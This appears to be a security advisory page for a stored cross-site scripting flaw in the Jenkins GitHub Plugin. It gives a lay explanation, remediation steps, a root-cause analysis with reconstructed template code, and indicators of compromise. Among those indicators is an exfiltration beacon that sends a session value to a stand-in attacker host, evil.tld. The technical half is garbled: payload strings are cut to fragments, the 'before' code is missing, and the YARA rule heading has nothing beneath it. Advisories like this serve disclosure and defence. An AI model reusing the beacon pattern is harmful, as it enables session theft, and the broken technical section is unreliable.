CVE-2026-42523: Stored XSS in Jenkins GitHub Plugin via Job URL
Jenkins GitHub Plugin ≤1.46.0 unsafely injects the current job URL into inline JavaScript for GITScm polling validation, enabling stored XSS by any authenticated user with Overall/Read.
Jenkins is automation software that thousands of companies use to test and deploy software. Think of it like an assembly line for code—developers push their work through it automatically. The GitHub plugin is an add-on that connects Jenkins to GitHub, where developers store their code.
The problem is like leaving a backdoor unlocked in that assembly line. When someone creates a Jenkins job, the plugin doesn't properly clean up the job's web address before displaying it on screen. An attacker can sneak malicious code into that address—code that will secretly run in the browsers of anyone looking at the job settings.
Here's what makes this dangerous: when developers view the job configuration, hidden JavaScript code runs silently in their browser. The attacker can steal their login session, which is like stealing someone's house keys. With those keys, the hacker can access everything—change the code being deployed, steal sensitive projects, or plant malware that gets distributed to millions of users.
Who should worry most? Development teams and companies that use Jenkins with the GitHub plugin, especially those managing critical infrastructure or widely-used software. If your organization deploys code automatically, this affects you.
What should you do right now?
First, check if you're using Jenkins GitHub Plugin version 1.46.0 or earlier and update immediately to the latest version.
Second, if you manage Jenkins access, review who has permission to create or modify jobs. Limit this to trusted developers only.
Third, watch your Jenkins logs for suspicious activity and consider resetting session tokens for anyone who viewed potentially compromised job configurations.
Want the full technical analysis? Click "Technical" above.
CVE-2026-42523 is a stored cross-site scripting vulnerability in the Jenkins GitHub Plugin affecting all versions up to and including 1.46.0. The plugin injects the current job's URL directly into a JavaScript block rendered on the job configuration page, without encoding or sanitization. Any authenticated attacker holding Overall/Read permission — the lowest non-anonymous privilege level in Jenkins — can create a job whose URL contains a crafted payload, causing arbitrary JavaScript to execute in the browser of any user who subsequently visits the job's configuration page.
CVSS score: 9.0 (Critical). The score reflects the low privilege bar, the stored (persistent) nature of the injection, and the high-value target: CI/CD administrator sessions that routinely hold credentials, signing keys, and cluster access tokens.
Root cause: The plugin constructs an inline <script> block by string-concatenating the raw Stapler-resolved job URL into JavaScript source without applying any HTML or JavaScript encoding, allowing URL path components to break out of the string literal context and execute attacker-supplied code.
Affected Component
The injection lives in the GitHub hook trigger for GITScm polling trigger descriptor. The relevant delivery chain is:
Plugin:github (artifact ID), Jenkins Update Center ID github
Stapler view:GitHubPushTrigger/config.jelly and its associated descriptor JavaScript helper
Descriptor class:GitHubPushTrigger.DescriptorImpl
Required permission:Overall/Read (non-anonymous; no admin rights needed)
Root Cause Analysis
Jenkins job configuration pages use Jelly views to render trigger UI. The GitHub plugin's descriptor injects a JavaScript validation helper that pings the GitHub webhook endpoint. To construct the validation request, it needs the absolute URL of the current job. The plugin retrieves this via Stapler's request context and drops it raw into a <script> block.
The vulnerable rendering logic (reconstructed from plugin source and Jelly template behavior in 1.46.0):
// GitHubPushTrigger/config.jelly — rendered server-side into the page
// BUG: jobUrl is injected via ${rootURL}${h.jsStringEscape(it.url)} but
// h.jsStringEscape only escapes backslash and quote — it does NOT encode
// forward slashes, angle brackets, or HTML entities.
// An attacker-controlled job name like:
// foo in URL breaks out of script block
// AFTER (patched — 1.47.0):
// Option A: encode at the Jelly layer using h.escapeJavaScript() which
// also HTML-encodes the result, making it safe inside a script block:
// Jelly template now uses:
// var jobUrl = '${h.escapeJavaScript(rootURL)}/${h.escapeJavaScript(descriptor.getCurrentJobUrl(it))}';
// Option B (cleaner): pass the URL via a data attribute instead of
// inline script, eliminating the injection surface entirely:
// <input type="hidden" id="ghTriggerJobUrl"
// value="${h.htmlAttributeEscape(descriptor.getCurrentJobUrl(it))}" />
// JavaScript then reads: document.getElementById('ghTriggerJobUrl').value
// No string concatenation into script source at all.
ENCODING COMPARISON:
Attacker input: poc'; or ]
CONTENT-SECURITY-POLICY VIOLATION REPORT (if CSP deployed):
{
"csp-report": {
"blocked-uri": "https://evil.tld",
"violated-directive": "script-src 'self'",
"document-uri": "https://jenkins.corp/job/.../configure"
}
}
NETWORK — data exfiltration beacon:
DNS query: c..tld from Jenkins admin workstation
HTTP GET: https://evil.tld/?c=node0
YARA / grep rule for stored payload in Jenkins job configs: